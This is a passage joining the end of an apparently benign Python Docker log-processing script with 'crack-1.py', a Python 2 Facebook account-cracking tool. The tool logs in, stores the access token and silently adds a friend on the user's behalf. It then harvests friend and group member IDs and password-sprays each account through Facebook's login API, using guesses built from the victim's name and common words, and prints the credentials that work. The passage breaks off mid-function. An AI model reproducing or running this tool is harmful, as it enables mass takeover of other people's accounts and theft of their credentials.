date_out = datetime.strptime(date_in, time_format)
return date_out
@staticmethod
def write_err(msg):
"""
write a string to stdout and stderr.
"""
print(msg, file=sys.stderr)
print(msg)
@staticmethod
def get_log_from_container(container_name, queue):
"""
Gets log info from the Docker container then converts DateTime
and puts each line in the queue.
Parameters
----------
container_name : string
Name of the Docker container
queue : object
queue to stuff the log object in
"""
client = docker.from_env()
container = client.containers.get(container_name)
for log_line in container.logs(stream=True, tail=0, follow=True, timestamps=True):
try:
log_line = log_line.decode('utf8').strip()
log_line_parts = log_line.split("Z ")
if log_line_parts:
log_data = ""
num_parts = len(log_line_parts)
# Handle case where more than one timestamp
if num_parts > 2:
for part in range(1, num_parts):
log_data += log_line_parts[part] + ' '
else:
log_data = log_line_parts[1]
log_line_object = LogLineObject(DockerLogProcessor.format_date_and_time(log_line_parts[0]), container_name, log_data)
queue.put(log_line_object)
except Exception as e:
DockerLogProcessor.write_err("Exception getting container log_line from: " + container_name)
DockerLogProcessor.write_err(e)
def split(self, string, delimiters):
"""
Split a string with multiple delimiters.
"""
import re
regexPattern = '|'.join(map(re.escape, delimiters))
return re.split(regexPattern, string)
def get_timestamp_delta(self, date_one, date_two, line_count = 0, line_mod = 100):
"""
Diff date_one and date_two then format string for readability.
Delta of the strings are converted by fields.
line_count can be used to print a full timestamp every line_mod (%) lines
"""
if line_mod != 0 and line_count % line_mod == 0:
return date_one
time_delta_str = ""
delimiters = ('.', '-', ' ', ':')
field_count = 0
all_fields_one = self.split(date_one, delimiters)
all_fields_two = self.split(date_two, delimiters)
for field1 in all_fields_one:
if field1 == all_fields_two[field_count]:
for _ in field1:
time_delta_str += " "
else:
time_delta_str += all_fields_one[field_count]
if field_count < 2:
time_delta_str += "-"
elif field_count == 2:
time_delta_str += " "
elif field_count > 2 and field_count < 5 :
time_delta_str += ":"
elif field_count == 5 :
time_delta_str += "."
field_count += 1
return time_delta_str
def process_static_log(self, static_filenames, filter_filenames):
"""
Static logs in args - set them up for processing.
Static log(s) specified.
static_filenames
Optional filter_filename
Path to JSON filter file
read all log files and format each line
sort and display to stdout
"""
import os
import json
import pathlib
split_char = u"\u2588"
loglines = []
max_name_len = 0
filter_list = ""
pytest_owner = ""
if filter_filenames:
filter_filename = os.path.abspath(filter_filenames[0])
"""
filter.json should have a format like this:
{
"filters":
[
"Getting next batch",
"Obtained next batch"
]
}
"""
try:
filter_json = open(filter_filename, encoding="utf8").read()
if filter_json:
json_data = json.loads(filter_json)
filter_list = json_data['filters']
except Exception as e:
self.write_err("Exception processing JSON file: " + filter_filename)
self.write_err(e)
# find the max_name_len of every staticfile filename basename
for static_filename in static_filenames:
if static_filename:
base_filename = os.path.basename(static_filename[0])
name_len = len(base_filename)
if name_len > max_name_len:
max_name_len = name_len
# read and process every static file
for static_filename in static_filenames:
if static_filename:
static_filename = static_filename[0]
module_name = os.path.basename(static_filename)
print("Getting log from file: " + static_filename)
# Pad the filename so that each is the same length
for _ in range(len(module_name), max_name_len):
module_name += ' '
try:
read_file = open(static_filename, encoding="utf8").read().split("\n")
except Exception as e:
self.write_err("Exception opening LOG file: " + static_filename )
self.write_err(e)
return
# Get and filter each line
for log_line in read_file:
ok_to_log = True
if log_line:
if "PYTEST" in log_line:
if not pytest_owner:
pytest_owner = module_name
else:
if pytest_owner != module_name:
ok_to_log = False
if ok_to_log:
for filter in filter_list:
if filter in log_line:
ok_to_log = False
if ok_to_log:
# Made it past filters and PyTest, so Log the line
log_line_parts = log_line.split("Z ")
if log_line_parts:
log_data = ""
num_parts = len(log_line_parts)
# Handle case where more than one timestamp
if num_parts > 2:
for part in range(1, num_parts):
log_data += log_line_parts[part] + ' '
else:
log_data = log_line_parts[1]
log_time = DockerLogProcessor.format_date_and_time(log_line_parts[0], "%Y-%m-%d %H:%M:%S.%f")
log_line_object = LogLineObject(log_time, module_name, log_data)
loglines.append(log_line_object)
# Sort the merged static file lines by timestamp
loglines.sort(key=lambda x: x.timestamp)
last_timestamp = datetime.now() + timedelta(days=-364)
line_count = 0
# display the results to stdout
for log_line in loglines:
logline_timestamp = log_line.timestamp
if "HORTON: Entering function" in log_line.log_data or "HORTON: Exiting function" in log_line.log_data:
date_delta = str(logline_timestamp)
else:
date_delta = self.get_timestamp_delta(str(logline_timestamp), str(last_timestamp), line_count)
line_count += 1
out_line = log_line.module_name + " : " + date_delta + " " + split_char + " " + log_line.log_data
last_timestamp = logline_timestamp
try:
print(out_line)
except Exception:
print(''.join([i if ord(i) < 128 else '#' for i in out_line]))
def process_queue(self):
"""
Process the line objects in the queue, and print as formatted.
"""
last_timestamp = datetime.now() + timedelta(days=-364)
line_count = 0
split_char = u"\u2588"
while True:
log_line = self.queue.get()
logline_timestamp = log_line.timestamp
if "HORTON: Entering function" in log_line.log_data or "HORTON: Exiting function" in log_line.log_data:
date_delta = str(logline_timestamp)
else:
date_delta = self.get_timestamp_delta(str(logline_timestamp), str(last_timestamp), line_count)
line_count += 1
last_timestamp = logline_timestamp
out_line = log_line.module_name + " : " + date_delta + " " + split_char + " " + log_line.log_data
try:
print(out_line)
except Exception:
print(''.join([i if ord(i) < 128 else '#' for i in out_line]))
class LogLineObject:
def __init__ (self, timestamp, module_name='', log_data=''):
self.timestamp = timestamp
self.module_name = module_name
self.log_data = log_data
if __name__ == "__main__":
log_processor = DockerLogProcessor(sys.argv[1:])
|
crack-1.py |
# -*- coding: utf-8 -*-
# mau ngapain bro mau recode ea buat sendiri lah bgst
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def keluar():
print '\x1b[1;91m[!] Closed'
os.sys.exit()
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
logo = """
\033[1;91m╔═════════════════════════════════════════════╗
\033[1;91m║\033[1;93m* \033[1;97mAuthor \033[1;91m: \033[1;33m[OwL] \033[1;91m
\033[1;91m║\033[1;93m* \033[1;97mGitHub \033[1;91m: \033[1;92m[https//:github.com/flyngdutchman] \033[1;91
\033[1;94m║\033[1;93m* \033[1;97mSupport \033[1;91m: \033[1;98m[Dominitriz] \033[1;95m[Bulus] \033[1;96m[EvilTwin] \033[1;95m
\033[1;94m╚═══════════════════════\033[1;95m══════════════════════╝"""
def tik():
titik = [
'. ', '.. ', '... ']
for o in titik:
print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mLoading\x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(1)
back = 0
threads = []
berhasil = []
cekpoint = []
gagal = []
idfriends = []
idfromfriends = []
idmem = []
id = []
em = []
emfromfriends = []
hp = []
hpfromfriends = []
reaksi = []
reaksigrup = []
komen = []
komengrup = []
listgrup = []
vulnot = '\x1b[31mNot Vuln'
vuln = '\x1b[32mVuln'
def login():
os.system('clear')
try:
toket = open('login.txt', 'r')
menu()
except (KeyError, IOError):
os.system('clear')
print 55 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91mLOGIN AKUN FB DULU'
print 55 * '\x1b[1;97m═'
print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FB \x1b[1;91m[\xe2\x98\x86]'
id = raw_input('\x1b[1;91m[+] \x1b[1;36mEmail|ID \x1b[1;91m:\x1b[1;92m ')
pwd = raw_input('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print '\n\x1b[1;91m[!] Tidak ada koneksi'
keluar()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
x = hashlib.new('md5')
x.update(sig)
a = x.hexdigest()
data.update({'sig': a})
url = 'https://api.facebook.com/restserver.php'
r = requests.get(url, params=data)
z = json.loads(r.text)
zedd = open('login.txt', 'w')
zedd.write(z['access_token'])
zedd.close()
print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil'
print '\n\x1b[1;96mSELAMAT MEMAKAI SC NYA ^_^'
time.sleep(2.5)
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
time.sleep(1)
menu()
except requests.exceptions.ConnectionError:
print '\n\x1b[1;91m[!] Tidak ada koneksi'
keluar()
if 'checkpoint' in url:
print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
os.system('rm -rf login.txt')
keluar()
else:
print '\n\x1b[1;91m[!] Login Gagal'
os.system('rm -rf login.txt')
login()
def menu():
try:
toket = open('login.txt', 'r').read()
except IOError:
os.system('clear')
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
login()
else:
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket)
b = json.loads(ots.text)
sub = str(b['summary']['total_count'])
except KeyError:
os.system('clear')
print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
os.system('rm -rf login.txt')
login()
except requests.exceptions.ConnectionError:
print logo
print '\x1b[1;91m[!] Tidak Ada Koneksi'
keluar()
os.system('clear')
print logo
print '\x1b[1;93m\xe2\x95\x94' + 50 * '\xe2\x95\x90' + '╗'
print '\xe2\x95\x91\x1b[1;93m[\x1b[1;93m\xe2\x9c\x93\x1b[1;93m]\x1b[1;93m Nama \x1b[1;93m: \x1b[1;92m' + nama + (33 - len(nama)) * '\x1b[1;93m ' + '║'
print '\xe2\x95\x91\x1b[1;93m[\x1b[1;93m\xe2\x9c\x93\x1b[1;93m]\x1b[1;93m ID FB SAYA \x1b[1;93m: \x1b[1;92m' + id + (33 - len(id)) * '\x1b[1;93m ' + '║'
print '\xe2\x95\x91\x1b[1;93m[\x1b[1;93m\xe2\x9c\x93\x1b[1;93m]\x1b[1;93m Followers \x1b[1;93m: \x1b[1;92m' + sub + (33 - len(sub)) * '\x1b[1;93m ' + '║'
print '\x1b[1;93m╠' + 50* '\xe2\x95\x90' + '║'
print '║-» \x1b[1;36;49m1. Auto Crack \x1b[1;93m║'
print '║-» \x1b[1;36;49m2. Manual Crack \x1b[1;93m║'
print '║-» \x1b[1;36;49m3. Id Group \x1b[1;93m║'
print '║-» \x1b[1;36;49m4. Ambil ID/Email/Hp Teman \x1b[1;93m║'
print '║-» \x1b[1;36;49m5. Ganti Akun \x1b[1;93m║'
print '║-» \x1b[1;36;49m0. Keluar \x1b[1;93m║'
print '\x1b[1;93m╠' + 50* '\xe2\x95\x90' + '╝'
pilih()
def pilih():
zedd = raw_input('╚═\x1b[1;91m▶\x1b[1;93m ')
if zedd == '':
print "\x1b[1;91m[!] Can't empty"
pilih()
else:
if zedd == '1':
autocrack()
else:
if zedd == '2':
manualcrack()
else:
if zedd == '3':
group()
else:
if zedd == '4':
grab()
else:
if zedd == '5':
os.system('rm -rf login.txt')
keluar()
else:
if zedd == '0':
keluar()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mNot availabel'
pilih()
def autocrack():
global toket
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print '\x1b[1;93m\xe2\x95\x94' + 50 * '\xe2\x95\x90' + '╗'
print '\xe2\x95\x91\x1b\xe2\x9c\x93\x1b[1;93m{Menu Crack} \x1b[1;93m ║'
print '\x1b[1;93m╠' + 50 * '\xe2\x95\x90' + '╝'
print '║-> \x1b[1;93m 1. Crack from Friends'
print '║-> \x1b[1;93m 2. Crack from Group'
print '║-> \x1b[1;31;40m 0. Kembali'
print '\x1b[1;93m║'
pilih_super()
def pilih_super():
peak = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ')
if peak == '':
print '\x1b[1;91m[!] Jangan kosong'
pilih_super()
else:
if peak == '1':
os.system('clear')
print logo
print 55 * '\x1b[1;97m\xe2\x95\x90'
jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
else:
if peak == '2':
os.system('clear')
print logo
print 55 * '\x1b[1;97m\xe2\x95\x90'
idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/' + idg + '?access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName Friend \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Grup tidak ditemukan'
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
super()
re = requests.get('https://graph.facebook.com/' + idg + '/friends?access_token=' + toket)
s = json.loads(re.text)
for i in s['data']:
id.append(i['id'])
else:
if peak == '0':
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada'
pilih_super()
print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id))
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack'
print 55 * '\x1b[1;97m\xe2\x95\x90'
sys.stdout.flush()
def main(arg):
user = arg
try:
a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
b = json.loads(a.text)
pass1 = b['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|'+ pass1+'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass1 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass2 = b['first_name'] + '1234'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass2 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass2 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass3 = b['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass3 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass3 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass4 = b['first_name'] + '12356'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass4 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass4 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass5 = b['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass5 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass5 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass6 = b['last_name'] + '1234'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass6 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;93m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass6 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass7 = b['last_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass7 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass7 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass8 = b['last_name'] + '123456'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass8 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass8 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass8 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass9 = 'sayang'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass9 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass9 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass9 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass10 = 'anjing'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass10 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +'|' + pass10 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +'|' + pass10 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass11 = 'bangsat'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass11 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass11 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass11 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass12 = 'freefire'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass12 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass12 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass12 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass13 = 'doraemon'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass13 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass13 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass13 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass14 = 'januari'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass14 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass14 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass14 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass15 = 'password',
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass15 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass15 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass15 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass16 = 'persija123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass16 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass16 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass16 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass17 = 'indonesia'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass17 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass17 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass17 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass18 = 'tidakada'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass18 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user +' | ' + pass18 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass18 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass19 = b['first_name'] + b['last_name']
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass19 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
